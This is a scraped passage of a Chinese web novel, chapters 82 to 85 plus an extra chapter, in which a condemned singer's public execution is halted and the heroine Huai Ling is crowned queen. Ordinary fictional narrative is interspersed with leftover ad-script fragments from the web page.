window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就能轻而易举得到一切荣耀。 佣人想要把他推出去,他却拂开他们的手,从旁边拿过拐杖,颤颤巍巍地离开了轮椅,他向来好面子,以坐着轮椅的模样出现在公众面前,无异于送他去死。 外面的车已经等了他有一段时间,槐雾凭借自己的双腿走到了车旁,司机为他打开门,护着他上了车。 “去宫殿。”他终于下定了决心。 槐雾的出现无疑是能够改变现状的,卫兵们早早就等在了大门处,他们也不知道槐雾会做些什么,万一他就这么以槐迩儿子的身份宣布继位呢? 卫兵们朝着他敬礼,从车内先伸出来的是拐杖,接着才是槐雾的腿,他的精神看上去还不错,只是瘦弱的身子在旧制服下显得格外羸弱。 只是从台阶一步一步走上去的时候,他不得不放慢速度,旁边的人想要搀扶他,都被他用眼神挡了下来。 等到他终于走上去的时候,他已经出了一身薄汗,因为喘气胸口正在不断地起伏。 槐雾抬头看向过去那象征的国家顶点的大殿,血液和尸体已经清理干净,再也看不出一点痕迹。 他并未急着去接近过去槐迩坐着的位置,他让人找了一把椅子,自己坐在了大殿的边缘,佣人们都簇拥在他的身边,等待槐雾的吩咐。 “知道昨天发生了什么的人是谁?在哪?” “是上校…苍恃。现在他被扣下了。”卫兵连忙回答。 怎么又是他。槐雾忍住了把这句话说出来的冲动,接着叹了口气,“把他找过来。” 听见卫兵的传唤时,苍恃还以为自己听错了。 直到真正看到活着的槐雾时,苍恃才终于能够确认槐雾并未死去。 他确实命好,都这样了还能活下来,而且因为没有立下继承人,说不定这个位置真就是他的了。 苍恃换了一身干净清爽的衣服,因为尚未搞清楚事情的经过,他不被允许自由活动,这会被几个卫兵看守着。 “说吧,昨天发生的事情。”槐雾没心思和他叙旧,苍恃也有同感。 “让其他人都出去。”苍恃说。 “殿下,万万不可!”卫兵马上出言阻止,毕竟现在的槐雾身份特殊,身体也没完全恢复好,要是只有两个人在这里出了点什么事,他们都得成为这个国家的罪人。 “没关系。”槐雾摇头,不顾其他人的阻挠,还是下令让其他人都离开了。 见没有外人,苍恃才靠着墙壁把昨天发生的事情简略地说了一遍。 槐雾的表情变换了好几次,最终变得沉重,他一言不发,埋头看自己的手心。 “阿翎现在怎么样了。”他的声音低沉,几乎若不可闻。 “两个小时前已经脱离了危险期,期间也有醒来几次……”苍恃揉了揉眉心,也多亏了那个卫兵一直给他持续关注槐翎的状态,不然他也做不到这么淡定被关押着。 “她的确是最适合的人选。”槐雾抬头看向苍恃,“我是不可能继位的。” “做这个决定的人不是你,也不是我。”苍恃说。 “你说得对,槐翎不是那样弱小的人。”槐雾微微笑着,他头一次对苍恃展露了些许善意,“你又是怎么回事?” “……跟你没关系。”苍恃别过脸去。 82. 第 82 章 祝译捏着伪造的身份卡,她颇为心虚地踏上前往A区的列车,直到列车真正运行起来,她才感觉到几分踏实。 现在是清晨,距离殷肆的行刑还有时间,在那之前她必须要和槐翎汇合,要想阻止这一切没有槐翎不行。 她缩在自己的座位上,手里紧紧抓着身份卡,目前还没有任何消息传来,等她真正到达A区就能知道昨天的结果了吧。 她是相信槐翎的,但是…… 怀着忐忑不安,祝译抬头看着窗外飞驰而过的景色,要是这个列车还能再快一点就好了。 同样焦急等待着的还有苍恃,他被槐雾下令解除了扣押,且恢复了上校职位。 但是没有槐翎不行。 所以他在恢复自由后就马上赶来槐翎这边,他弯腰透过那小小的玻璃窗户看槐翎,她依旧闭着眼睛,旁边的仪器显示各项数据都正常。 “她目前的状态还不错。”医生主动过来和苍恃说话,“醒来后我也跟她进行了短暂的对话,现在我们要做的只有等待她恢复过来。” 今天她就得出院。这样的话苍恃没有勇气说出来。 毕竟这对槐翎来说太勉强了,她昨天可是中了三枪,从身上取了两颗子弹出来,就算身体再好也不能这么折腾。 苍恃低头看了手表,已经接近7点了,还有两个小时…… 另一边的槐雾也向他打来电话,苍恃只好到外面去接。 “都准备好了,你也好好收拾一下自己,殷肆的行刑你们是要阻止的吧?” 苍恃不知道他说的收拾是什么意思,他刚一抬头就看见槐雾的车已经在外面等着,看样子是要接他到别的地方去。 他不担心槐雾会对自己做什么,于是主动来到车旁边,槐雾按下玻璃窗,他指了指旁边的空位,示意苍恃上车。 “阿翎那边我会让人盯着,只要她一醒来就会通知到。” 苍恃只好听从槐雾的安排,毕竟这个时候拥有话语权的人也只有槐雾一个,如果槐雾有了多余的举动,他不介意把槐雾也解决掉。 槐雾的手机响个没完,他升起前面的隔断,不让司机听见对话的内容。 “文书写完了就拿过来我签字,这是证明她正统的重要文件……至于那些被杀掉的人,通通弄成失踪自杀就行了,这种小事别来烦我。” “没有十吨炸药?都查过地下了吗?服了,我就知道那老头满嘴谎话!” “嗯?阿翎的尺码?我怎么会知道……她的身材很标准,你们就按照常规尺码做就行了。” 苍恃说了一串数字出来,旁边的槐雾瞪大眼睛看向他。 “臭小子,你怎么知道的?”说完之后槐雾也明白过来了,他差点就要把手机砸过去,但想到手机还在通话,他只能咬牙切齿忍了下来。 等挂了电话之后,他伸手就想去掐苍恃的脖子。 苍恃轻松地避开他的攻击,槐雾不怎么服气地白了他一眼,气得浑身都要颤抖。 “你们真是那种关系?” “嗯。”苍恃用力地点头,脸上泛起了红晕。 “只是‘那种’关系吧,反正她过段时间就会厌倦你了。”看到苍恃的表情,槐雾没忍住冷嘲热讽,“看了感觉真可怜。” “她不会的。”苍恃毫不畏惧地反击了回去。 “你给我下车!” * 殷肆看见那扇禁锢自己数日的门再次打开。 他不太习惯面对自然光,长达半年的监禁让他的肤色变得苍白,因为被控制住手脚,他连走路都觉得有些困难。 卫兵们按照计划把他从牢房里放出来,走过一段长长的路后,他将会出现在全国人民面前。 他走得很慢,就算想走快一些,萎缩了的肌肉也不允许他这么做。 殷肆面无表情,要说害怕那肯定是有的,但他早就预料到自己会有这一天,在经历过无数个无法安眠的夜晚后,他对死亡的恐惧也逐渐减少了。 他有时候在想,要不自己就这么一头撞死算了,被关在只有一个人的房间里,除了基本的水和食物确保他不会死,他其他的需求根本没办法得到保证。 偶尔他会听见人的说话声音,他们声音压得很低,没有窗户的房间只能从门缝里捕捉到一些活人的气息,等到那个时候他才发觉自己还活着,不过是活在一个只有他一人的世界里。 他从未有过那么强烈的社交欲望,殷肆开始反复唱自己的歌,演自己演过的戏,在脑海里反复演练,成为了自己的导演编剧。 他会躺在床上,看着洁白的天花板,想象上面有星星在闪烁,各种各样的星座变换着,殷肆觉得自己早就离崩溃的边缘不远了。 等到行刑的那一天,他就能解脱了。 于是殷肆有些雀跃地,顺从地跟着卫兵走出去,他哼着自己那首没有发布的歌曲,如果还有笔,他还能改一下未定稿的曲子,那首歌他很喜欢,只是再也没有机会唱一次了。 卫兵一言不发,他们统一戴着头盔,浑身上下都全副武装,只露出了半张脸,殷肆一边哼,一边观察卫兵的脸。 他们都还很年轻,从半张脸就能看出他们的稚嫩,正值年轻气盛的年纪,殷肆有些大言不惭地想着,这些孩子应该也听过他的歌。 “打算怎么送我上路?是用枪还是药物?还是老一套用电椅?”殷肆主动地搭话,他说这话的时候没有一点恐惧,相反还有点兴奋,其中一个卫兵的嘴角抽了抽,没有理会殷肆的话。 “如果可以的话用药物行不行?我不想死得太难看,这样还会吓到人的,毕竟我们这次行刑是全国直播的,还有未成年会看到吧……”殷肆越说越激动,旁边的卫兵没忍住轻咳一声,打断了他的胡言乱语。 “我也是提个建议,放轻松一点好吗?我现在这个样子哪有什么反抗能力。”殷肆伸手顺了顺自己的头发,这半年他的头发长长了不少,看上去还多了几分风流的味道,其中一个卫兵盯着他看了好一会,意识到自己看得有些久了之后,他才紧张地别过脸去。 “诶,前面那个平台都是给我一个人用的?这让我想起来之前课本上的皇帝砍头图,没想到我也有这样的待遇, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幸好没看到断头台……我这个人比较怕疼。”殷肆笑眯眯地,他看见了那被泰坦和军队包围的平台,很快就明白那都是为他一个人准备的。 卫兵推了他一把,殷肆自觉地走上台阶,他刚出现在平台上,就能听到震耳欲聋的惊呼,被太阳光照射到的殷肆下意识地举手挡住自己的脸,他的眼睛几乎要睁不开,冬天的太阳总是让人喜爱的,他停下了自己的脚步。 等他终于适应过来的时候,殷肆才睁开眼睛看周围的景色,无数的、不可计量的人正在警戒线后集结,他们脸上都是悲伤、担心与痛苦,殷肆曾经开过很多场演唱会,人数和现在差不多,但是他们脸上从来都不会有这样的表情。 他见过无数的笑脸,那都洋溢着对他的喜爱与宠爱。 殷肆突然感觉到铺天盖地的恐慌与痛苦,这些人或许曾经爱过他,拥护他,但如今他们都来到最前方,只为送别他。 寒风吹来,只穿着一件单薄衣服的殷肆不住地颤抖起来。 “现在知道害怕了?”一个稍年长的卫兵过来抓着他的手臂,把他往中间拖去,那是为殷肆准备的位置。好几名拿着枪的卫兵一字排开在一旁,他们的脸全部蒙上,没有人看见他们的表情。 殷肆再也说不出什么话来,他闭上了嘴巴,使劲地、用力地闭眼,然后过了一会后,他深深地吸了一口气,再睁眼时,他看见好些人开始流泪。 他们的眼泪是无声的,被淹没在风声中,其实从他们的衣着来看,他们根本就不像是来自B区的人,殷肆从他们脸上看到了沧桑,那是被岁月长期摧残的痕迹,还有被苦难压垮接近崩溃边缘的痛苦。 广场上的巨大时钟就在殷肆的正面,他清楚地看见分针动了一下,然后时针往上动了一些,紧接着是响亮沉重的钟声。 九点到了。 四周围着的泰坦统一启动,它们身上的热量因为温差爆发出蒸汽,白色的雾气挡住了围观群众的脸,它们已经做好准备,如果有人轻举妄动,这样的兵器就会马上让这一片成为火海。 紧接着,一阵悠扬的歌声从每一个角落响起,每个人的手机,电脑,原本正在直播的大屏幕、电视都亮了起来,不知名的程序不知道什么时候入侵了每一个电子产品,上面都在播放着同一首歌。 屏幕里的殷肆正抱着吉他,轻声唱着那首demo,他的声线如同山间清泉清澈,所有人都呆呆看着电子屏幕,就连卫兵也不知道发生了什么,他们四处张望,试图找出罪魁祸首,但很遗憾,就连泰坦的系统也被入侵,所有的频道都在播放殷肆的歌,他的歌声响彻了天空,诡异地暂停了行刑。 “怎么回事?快联系总部!” “谁做的手脚?!” 围观的人群开始变得骚动起来,他们高举双手,向前行进试图挤压困住他们的警戒线,他们流着泪跟唱,眼里只有殷肆那跪在台上的身影。 “妈妈,大家为什么要哭?”小孩拉着母亲的手,懵懂地看着远方。 母亲的脖子上挂着一个造型奇特的吊坠,她默默拭去泪水,握紧了小孩的手。 83. 第 83 章 “阿尔法一号要求出击。” “已收到请求,阿尔法一号,同意出击。” 苍恃久违地坐在泰坦里,他娴熟地开始控制系统,沉寂已久的泰坦在被唤醒后,发出了低沉的声音。 “目的地B区。” “收到,已为阿尔法一号取得进入权限。” “从这里过去全速前进只要二十分钟。”苍恃扭头看向坐在一旁的槐翎。 槐翎脸色苍白,她已穿上了临时赶制的礼服,为了遮盖病容,她不得不用上了化妆品给自己的脸上增添些血色。 “把OS改了还能再快些。”她只瞥了一眼系统就知道问题出在哪里。 “他们已经得到命令不会行刑,殷肆是安全的。”泰坦开始升空,苍恃一边操纵泰坦,一边仔细地观察槐翎的表情,生怕她出什么问题。 “别盯着我看,我开泰坦的时候你还在玩泥巴。” “知道了。”苍恃说完又看了她几眼,“伤口还疼吗?” 槐翎是一个小时前醒来的,就在苍恃到达槐雾的别苑几分钟后,如果不是槐雾让人按着苍恃,恐怕他又得跑回去了。 等到了别苑时,苍恃才发现槐雾不知道什么时候找了一批人在那里工作,有些人忙着缝制槐翎的衣服,有些人正在写文书,有些人忙着打电话通知,而还有些人已经拿好了衣服准备给苍恃换上。 苍恃还没反应过来就被推进了更衣室,好几个人开始扒他的衣服,给他穿上新的制服,还有人开始修剪他的头发,还有人拿着粉扑冲了过来,他根本招架不来,只感觉到无数双手摸着他的身体,他甚至来不及感到害羞就结束了。 再被推出来的时候,他已经整装待发了。 在照镜子的时候,他才发现自己穿的这身是少将的制服,肩膀上的章和胸前的勋章无处不在彰显这套制服的特别。 几分钟后直升机也来了,好几个人簇拥着槐翎下来,她披着一件不合身的大衣,里面是病号服,手上还挂着针在输液,苍恃来不及走上去和她说话,就有另一个团队的人把她送进房间里。 他不被允许进去,只能在外面等。 距离九点还有四十分钟。 过了约莫二十分钟后,槐翎像是换了个人,她穿上了礼服,虽然是临时改制的,仔细一看也看不出什么错处,她额头上的伤口尚未愈合,只能用头发遮住,身上的血渍都已经清理了一遍,除了两处伤口外看不出什么不妥。 这套礼服正好遮住了伤口,礼服是纯白色的,上面有金丝线做装饰,为了不让伤口出血染到衣服,槐翎不得不给伤口做了特殊处理。 她一醒来就赶来这里,顾不上伤口的疼痛和疲劳,往日总是光彩照人的脸也变得苍白。 幸好槐雾早就预料到了,给她准备了专业的化妆团队,不过槐翎向来不喜欢化妆,只让化妆师做了点气色上的修饰。 等一切都准备好了后,槐翎吃了好几颗止痛药,才和苍恃一起登上前往军营的直升机。 槐雾没有跟过来,他还得好好管着后方,之后的事情就交给槐翎和苍恃了。 有了槐雾的帮忙和原来的身份,事情就办得格外顺利。 现在,这架没有武装的泰坦正在高速前往B区。 槐翎不敢轻易动弹,生怕弄到伤口,她坐在旁边狭窄的位置上,略显局促,这身礼服是以槐迩的设计为基础改的,她十分不喜欢,行动也不方便,等之后她是一定要改掉的。 “我没事,你专心开就是了。”即使槐翎这么说,苍恃还是放心不下。 槐翎还是第一次见苍恃穿军装,她多看了两眼,伸手替他抚平了被帽子压着翘出来的头发,苍恃感觉到她的手指在发间穿梭,身体微微有些颤抖。 “一会是直播的…你注意点形象。”槐翎见他这副样子,没忍住多说了两句。 “知道了。”他哑着声音。 很快他们便到达了B区的上空。 群众们并不欢迎在这个时候看见泰坦,他们都带着怒意注意这个天上降下来的兵器,泰坦的每一次出现都代表了流血与痛苦,是带给他们灾厄的象征,他们怒吼着,有些人甚至想要把东西扔过去,本就悲伤的人群变得更局促不安。 卫兵不得不增派人手让他们冷静下来,不能让他们再往前走了。 白色的泰坦降速,张开双臂缓缓地落在了殷肆的身后,旁边警戒的泰坦不知道发生了什么事,他们都静静看着这个不速之客。 就在刚才,所有的卫兵都收到了行刑终止的命令。 虽然是出自指挥部的命令,但这实在太过突然,卫兵还未理解发生了什么。 紧接着,泰坦的驾驶舱门打开,从里面先是走出一个穿着少将制服的人,有些好事的记者马上闻到了有大新闻发生,他们把镜头都对准了从泰坦走下来的人,连电视台的直播镜头也对准了他。 帽子遮住了他的脸,只是一个侧脸就足以让人感到惊讶,B区有些眼尖的人认出来他的身份,同一时间在直播平台上千万名网友开始疯狂聊天。 “这谁?”“看上去像好人。”“这军装真好看…”“我见过他!”“之前B区活动见过!”“现在是不行刑了吗?”“有人管管殷肆吗?他还跪着啊?”“到底发生了什么,是在表演节目吗?”“有人知道他是谁吗?”“好像在C区见过…” 然而大家都没想到,泰坦里还有另外一个人。 又是一阵寒风出来,一名身穿白色金边礼服的女性走了出来,她身上的装饰不多,但唯有胸前挂着的吊坠和腰间的腰带彰显了她至高无上的地位。 “卧槽。”“啊?”“我没看错吧?”“那衣服可是只有上面的人才能穿啊?”“等等,我们错过了什么?”“有人看见脸了吗?”“女性吗?”“A区是在搞什么大新闻啊。”“我好像也在C区见过!”“楼上别乱说了怎么哪里都能见过。”“不对不对,她好像上过通缉令啊??”“卧槽!” 在苍恃的搀扶下,槐翎缓缓来到殷肆的身边。 殷肆完全不知道发生了什么,他睁大了眼睛,看着换了装扮的槐翎向自己走来,他感觉一直酸涩的眼睛在这一刻终于忍不住了,他眨了眨眼睛,泪水从眼角落下。 如果不是还在全国直播,他现在就想扑上去好好痛哭流涕。 无视掉旁边苍恃那充满攻击力的目光后,殷肆被卫兵扶了起来,他四肢的束缚也随之被解开。 有人马上为他披上大衣,遮住他那瘦削的身体。 台下还在发泄怒火的群众也在看到这一幕后停了下来,没有人知道事情的走向,都安静下来等待槐翎说话。 苍恃退到槐翎的身后,他必须随时关注是否有人会伤害槐翎,因为眼神太过吓人,卫兵都不敢走到他身边。 话筒被送到槐翎的跟前,她朝殷肆露出微笑,而后把自己脖子上挂着的吊坠取了下来。 “这下物归原主了。”她把吊坠拿到殷肆面前,殷肆眼眶红红的,自觉地低下头去,任由槐翎为他戴上吊坠。 这一举动极大地讨好了原本要暴动的人群,这个吊坠对他们来说意义非凡,那是属于反抗军的标识,是被他们承认的人才会得到的,继承他们意志的象征。 而槐翎这一举动,毫无疑问是承认了反抗军的精神。 殷肆最终还是没忍住,伸手抱了一下槐翎,他不敢太过放肆,很快就松开了手,紧接着苍恃让人把殷肆送回去好好照顾。 槐翎摘下头上的兜帽,露出一张精致又充满强大的脸。 “我是槐翎。” 直播平台的人数上升至以亿计算,与此同时针对槐翎的过去都被挖出来,她曾经做过的事情,她曾去过的地方,无数声称见过槐翎的人也在这时冒了出来。 “这谁啊?她配穿这衣服吗?” “这么年轻?不会是傀儡吧?” 无数的质疑声从网络的每一个角落冒出来,槐翎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和苍恃自然是听不见这些声音,唯有坐在电视台最高层的祝译在看到这些话语后脸色黑了些。 “把这些话都压下去,去查什么人买的这些水军。” “是,是的。”旁边一个中年男性正在点头哈腰,在他旁边站着一个挺直腰杆的年轻男性,他显然一脸不服,正直勾勾盯着祝译看。 “你又是谁?董事长已经失踪好几天了,你这样空降恐怕不符合程序。” “自己看。”祝译把文书甩到他的脸上,他连忙弯腰去捡,只见上面是所有董事会成员的签字,从今天起,祝译就是董事长,能够管控整个集团的运作。 “不可能,要让他们都签字那起码也要两周的时间,还得开会讨论,出示公告才能得到认可!” “哦,这里还有一份。”祝译把另一份文件甩了过去,这一份光是看到标题都足够让他的腿发颤。 “这是……新的任命书,A区所有官员都已签字承认了槐翎的身份,甚至连上任皇帝槐迩都签了字?!” “槐迩不是在今天凌晨就确认死亡了吗?!”他勃然大怒,下意识就觉得这是一份伪造出来的文件,毕竟死人不可能签字,上面有些人都失踪好几天了,这个东西想都不用想就知道是假的! “谁跟你说他死了?咱们先帝可是在全体A区人的见证下,亲自签发了传位给槐翎,啊不,陛下的文件,你这消息是不是假的太离谱了?现在先帝可是在别苑和儿子好好过着退休生活呢?” 祝译低声笑着,她坐在属于自己的位置,这还得多亏了槐雾,不然事情都不会这么顺利,男性再也说不出什么话来,他捏着文件,想要找到漏洞,没等他看完旁边的中年男性就给了他一巴掌。 “他明天就不会再来了。”中年男擦着汗,向祝译挤出难看的笑容。 “我还是喜欢有眼力见的人,你说对不对?”祝译满意地点头。 这份任命书自然在全国的网站上开始流传,关于槐翎的质疑声瞬间少了不少,再加上祝译的推波助澜,很快关于槐翎优秀的事迹被推了上来——她学习成绩优秀,积极参加各种活动,热衷于公益,帮助了弱势群体,洁身自好,从来没有绯闻,目前年轻还是单身,年纪轻轻就能凭自己的努力自力更生,她的父母还是在战争中的英雄,可惜英年早逝没能大展宏图。 越来越多声称自己见过槐翎的人冒了出来,他们说着各种各样的温馨故事,谈及槐翎如何帮助他们脱离苦海,而且这些人不仅来自B区,更多是来自D区,朴素真挚的故事总是吸引人眼球的,再也没有记得真正的槐翎是怎样的人。 相比之下,槐迩的暴行倒显得不近人情了,明夸暗贬的帖子也开始在网络上出现,不明真相的网友只觉得槐翎的到来使得网络的环境变得宽松了些,他们快乐地诉说对槐迩的不满,咒骂槐迩的暴力,把生活的痛苦都通通投入到槐迩身上去。 “我将会继承父母的遗志,带领国家走向更好的未来,要达成这样的目标我需要大家的帮助。” “先帝曾经走过错误的道路,这是我们在探索未来的道路上不可避免的,但是这并不代表伤痛可以被掩盖,伤口只是捂着不管的话只会发烂发臭,我们需要正视过去的错误。” “在此我宣布,从今天起废除分区制度,该得到重建的区域将会投入资源进行建设,我想要打造一个公平公正的国家,在这里,每一个人的呐喊都能被听到。” 苍恃眼含热泪,他看着前方的身影,她已经走得太远了。 “有人注意到吗后面那少将的眼神都拉丝了……”“我也拉丝了好吗?这么漂亮又这么厉害!”“真的会有人觉得这样的领导人不好吗?”“谁想看糟老头啊笑死。”“听说那人有几十个后代?”“有病啊他是在搞配种吗?”“听说先帝那位置是抢来的,正统该是现在陛下的父亲。”“卧槽这什么野史?来真的?” 台下乌泱泱地跪下一片人,他们俯首称臣,嘴里高呼槐翎的名字。 84. 第 84 章 坐在那尊贵的位置上的人正在闭目养神,旁边站着几个医生和护士,他们一丝不苟地为新王处理枪伤。 祝译站在大殿的中央,她已经换上了大臣特有的服装,黑色的制服抹去了她所有的稚嫩与浮躁。 “新的大臣名单已经定下,这一个月来做的尽职调查也已经定稿,幸运的是我们依旧有一小批忠实的支持者,不过他们的年龄已有些大了,需要尽快补充人才。” “嗯。”槐翎对这样的报告并不感到意外,那些人很大一部分都是中老年人,是坚定的爱国派,只不过在槐迩的打压下他们都边缘化了,现在把他们拿出来用才是最正确的决策。 “目前取消分区制度的计划还在草稿,因为涉及到的方面太多,还需要和各部门商议协作才可以,在那之前人民群众的观念也需要时间改变。” “关于,苍恃少将,咳…提出来的E区重建计划,我们也有了大概的设想,首先要从基础设施着手,尽可能保证E区居民的正常生活需求。” “反抗军已经全部解散,针对他们过去的罪行也会一一进行追究,殷肆对此并未做出评价,我已经让媒体尽可能模糊这件事的重点,免得影响民心。” 祝译又漫长地给槐翎做了一上午的汇报,槐翎揉了揉眉心,感觉这比上场杀人还要再累一些。 “那我们说点轻松点的吧。”看见槐翎这副模样,祝译很快就转换了说话的语气,努力用轻松一些的语调驱散掉大殿里的烦闷。 “宫殿的修缮马上就完成了,根据槐雾的提议,我们可以举办一场宴会,这算是庆祝陛下的正式搬迁。” 槐翎点头同意了,她虽然不喜欢宴会,但现在她竟然开始有些怀念宴会时那热热闹闹的场合了,看来自己确实是累了些,现在更需要精神上的放松。 这项任务就这么交给了槐雾,槐雾倒是挺高兴的,在收到通知的那一刻马上就开始构思宴会的计划,按他自己的话来说,他可能天生就是什么派对动物,只有在办宴会的时候才能找到自己真正的价值。 后来槐雾多次来宫殿和祝译进行工作上的交流,槐翎也远远地见过自己的这位堂哥几次,看到他那坐轮椅的模样,槐翎还是感到有些惋惜。 以前那样意气风发的他,被自己的亲生父亲害成这样,还得假模假样一副父慈子孝的模样为槐迩说话。 不过槐翎也就只感到一点点惋惜,她这个人的仁慈向来不多。 他对自己的身份转变接受得很快,很快就跟着别人喊槐翎为陛下。 在举办宴会前先到来的是人才选拔的名单。 槐翎原本只是粗略地扫了一眼,上面的人大多她都不认识,在名字后写着他们的出生区域,从D区到A区应有尽有。 人才选拔的测试是祝译主导的,她坏心眼地加了很多类型苛刻的测试,只能说能通过她测试的人都不一般。 槐翎把目光落在最后一个名字上,祝译显然知道她在想什么,但也只敢安静地站在下面。 “温蓓……我倒是小看她了。”她轻声笑了出来。 祝译原本揪着的心也终于放了下来,她悄悄呼了口气,缓解了心里的不安。 “她成绩刚刚好够合格,我复查过确实没问题,要是涉及到背景调查的话……” “就让她加入吧。”槐翎大手一挥,她换了个放松点的姿势,“她是凭自己实力通过的选拔,这样的人才不可多得。” 既然槐翎都这么说了,祝译也只好点头应下。 * 宴会是在春天来临的时候举办的。 宫殿比过去都要热闹一些,几乎半个A区的人都来了,有些B区的人也被邀请参加,其他CD区的人实行抽签制,他们能够进入宫殿进行参观, 殷肆自然也在宾客名单上,他这下是彻底出名了,整个国家都知道有殷肆这么一个人,他原本向槐翎提过投身政治,不过槐翎拒绝了。 殷肆还是做一个艺人更适合,得到了槐翎的认可后,他回去就接了两部电影的邀约,期间还有综艺找他,不过观众还是更好奇他和槐翎的关系,问得多了之后殷肆只是微微一笑,什么话都不说。 后来有人挖出来槐翎曾经买过大量殷肆周边,那家由殷肆公司开的蛋糕店变得更火爆了,到处都在传槐翎是殷肆的歌迷,槐翎本人倒是无所谓,就让他们随便写了。 反正殷肆不会拿这些事情来炒作,他现在甚是珍惜自己的羽毛,毕竟祝译曾多次私底下警告殷肆离槐翎远一些,殷肆就算敢拿槐翎这么做,后面的经纪公司也不敢。 至于那首还未完成的歌,他也抽时间写完了,在发行后人气居高不下,一直在榜单的榜首位置,大有霸榜一年的趋势。 他刚一踏进宴会厅就赢得了全场的关注,好些人都涌上来围着他要签名和合照,殷肆不想破坏这场宴会,只好向官员们投去求救的眼神,安保团队也敬业地上来阻止了他们。 这场宴会的主角不是他,殷肆可不能喧宾夺主。 祝译对殷肆有这样的自觉很满意,她拿着一杯香槟在宴会厅的一角招待宾客,作为主办人的槐雾腿脚不好,也不想坐着轮椅出现,只得让佣人护着,他和祝译一人招待一片区域,倒有种在暗自较劲的感觉。 祝渊就陪伴在祝译的身边,她向来不喜这种场合,只不过她难得能从漫长枯燥的研究中脱身,看着自己的女儿在自己的领域里大放异彩,脸上露出了欣赏的笑容。 祝译也和献宝似的一一向母亲介绍自己的同僚,祝渊注意到角落里一直有个小老头好几次偷看祝译,她疑惑地提醒了祝译,希望祝译多注意下那个人。 “哦?”祝译马上就注意到了那个人,她只轻松地笑了,嘴唇弯弯的,眼睛却没什么笑意,她当然是认出那个人是谁了,毕竟那是曾经“关照”她好几年的上司。 老头佝偻着背,紧张兮兮地关注祝译的动向。 “他是帮我买咖啡的,我一般叫他‘那个谁’。”说完,她颇为畅快地把手里的香槟一饮而尽,旁边的宾客也跟着取笑了。 祝渊还是第一次见到祝译这么锱铢必较,但也就随她去了。 毕竟那可是她的宝贝女儿。 槐雾在另一边尽心尽力地接待宾客,他惯会说些笑话讨宾客高兴,即使以后他的笑话不仅仅流通于A区,不过想到以后别的地方也能听到他的笑话,槐雾感觉心里的不满稍微减轻了些。 他是不赞成取消分区制的,社会有阶层,人也是有高下之分的。 不过现在的他除了顶了个顾问的名头,是什么都做不了了,没有一点实权的他现在也变成了一个花瓶,只有在举办宴会的时候能起到一点作用。 槐雾觉得这样也挺好的,反正他自己知道自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的斤两,这辈子是不愁吃喝了,闲得无聊的时候还能找找以前的好朋友打发时间。 就在宴会气氛还在炒热的时候,身为主角的槐翎还在做准备。 她安静地坐在梳妆台前,看着穿着礼服的自己。 她还很年轻,脸上没有皱纹,就算没有化妆也能展示出自己光彩照人的一面。 从房间的另一扇门里走出一名高大的男性,槐翎不用回头就知道那是谁。 在璀璨灯光照耀的房间里,她只是听到了那脚步声就露出了笑容。 “我来晚了?”他问。 “没有。”槐翎把手边的梳子递给他。 他接过梳子,为槐翎仔细地梳着那头长发,她的头发很柔顺,梳齿划过她的发间,槐翎透过面前的镜子看到了他的脸。 苍恃除了黑了些瘦了些没什么变化,他神采奕奕的,精神状态比之前要好上不少。 因为是从E区匆忙赶回来的,身上的衣服有些歪斜,槐翎站了起来,伸手替他整理了衣领和系歪了的领带。 他身上有一股清新的味道,槐翎不着痕迹地吸了吸鼻子,闻出来了那是茶树的味道,茶树开了花,香味浓烈。 苍恃低头看着槐翎替自己整理,实在很难控制住欲-望,于是他偷偷地在槐翎的额头留了一个吻,槐翎白了他一眼,并未阻止。 他“嘿嘿”地傻笑了起来。 侍女捂着嘴偷笑,还是很有眼力见地先离开了,在宫殿里的人都知道女王陛下有个秘密情人,除了工作时间都要和陛下腻歪好一阵子,听闻几年前他们就有渊源了,不过似乎有人有意地阻挡了消息的传播,谁也查不到过去二人发生了什么,只有一些知情人士的只言片语偶尔会出现在小报上。 什么出-卖-肉-体,女王年轻气盛欲-望-强,夜夜笙歌……要多难听就有多难听,不过这位秘密情人虽然看上去老实巴交,实际出手的时候还是狠厉得让人胆战心惊,那些小报的老板和记者都或多或少吃了些教训。 后来也没人提了,反正二位都年轻且单身,你情我愿的事情也没什么好报道的。 槐翎看着梳妆台上的皇冠,上面镶嵌着价值不菲、璀璨夺目的宝石,只需一个眼神,苍恃便明白自己要做什么。 他小心翼翼地端起重量惊人的皇冠,然后虔诚地、忠心地为槐翎带上皇冠。 不是什么人都能承担这个角色,只是站在这里,苍恃就已感到满足。 槐翎站在落地镜前,看着有些陌生的自己。 她转了一个圈,如今她已带上了名为女王的面具,一言一行都得符合面具的要求。 侍女都不在了,苍恃见状则是半跪下来替槐翎整理裙摆和繁复的装饰,他眼里只剩下敬意,再无其他杂念。 槐翎终于得到了她想要的一切,克服了所有困难,为自己的父母平反,让仇人得到应有的惩罚,质疑她的人通通下了地狱,而她也收获了坚不可摧的联盟。 回想这一路走来的痛苦,槐翎只觉得一阵畅快。 这都是她应得的。 在完成装扮后,槐翎挺直腰杆缓步走向了宴会厅,苍恃站在她的身后,忠诚地扮演自己的角色,那是他的职责,他的工作,他的未来。他的主人,同样也是这个国家的女王。 热闹非凡的大殿正充满着欢声笑语,从今以后这便是槐翎的战场。 85. 番外 在一个再寻常不过的早晨,槐翎的父母从外面带回来了一个男孩。 刚放学回来的槐翎还没来得及放下书包,就看见一个陌生人坐在自己父母的中间,他露出腼腆的笑容,T恤松松垮垮遮住瘦削的身体,眼神里满是局促不安,在看到槐翎的那一刻,他像是被烫到一样迅速移开了目光。 槐翎皱眉,不理解发生了什么。 “回来了?过来认识一下。”槐翎的母亲面带微笑招手让槐翎过去,槐翎虽有不满,但看在父母的面上还是乖乖走了过去。 “这是你爸朋友的儿子,叫苍恃,他的父母这段时间都在国外出差,家里没人照顾他,你也你知道你爸向来热心,这不就领家里了。” 槐翎的父亲哈哈大笑起来,对于往家里带东西这件事,槐翎早就习以为常了,之前他就没少往家里带流浪猫狗,后来还带回来一头走丢的牛,把好好的房子都糟蹋得乱七八糟,幸好家里的阿姨都把这些小动物给照顾好了,后面都给找了领养。 这下好了,他不再满足于带动物回家,还得带人。 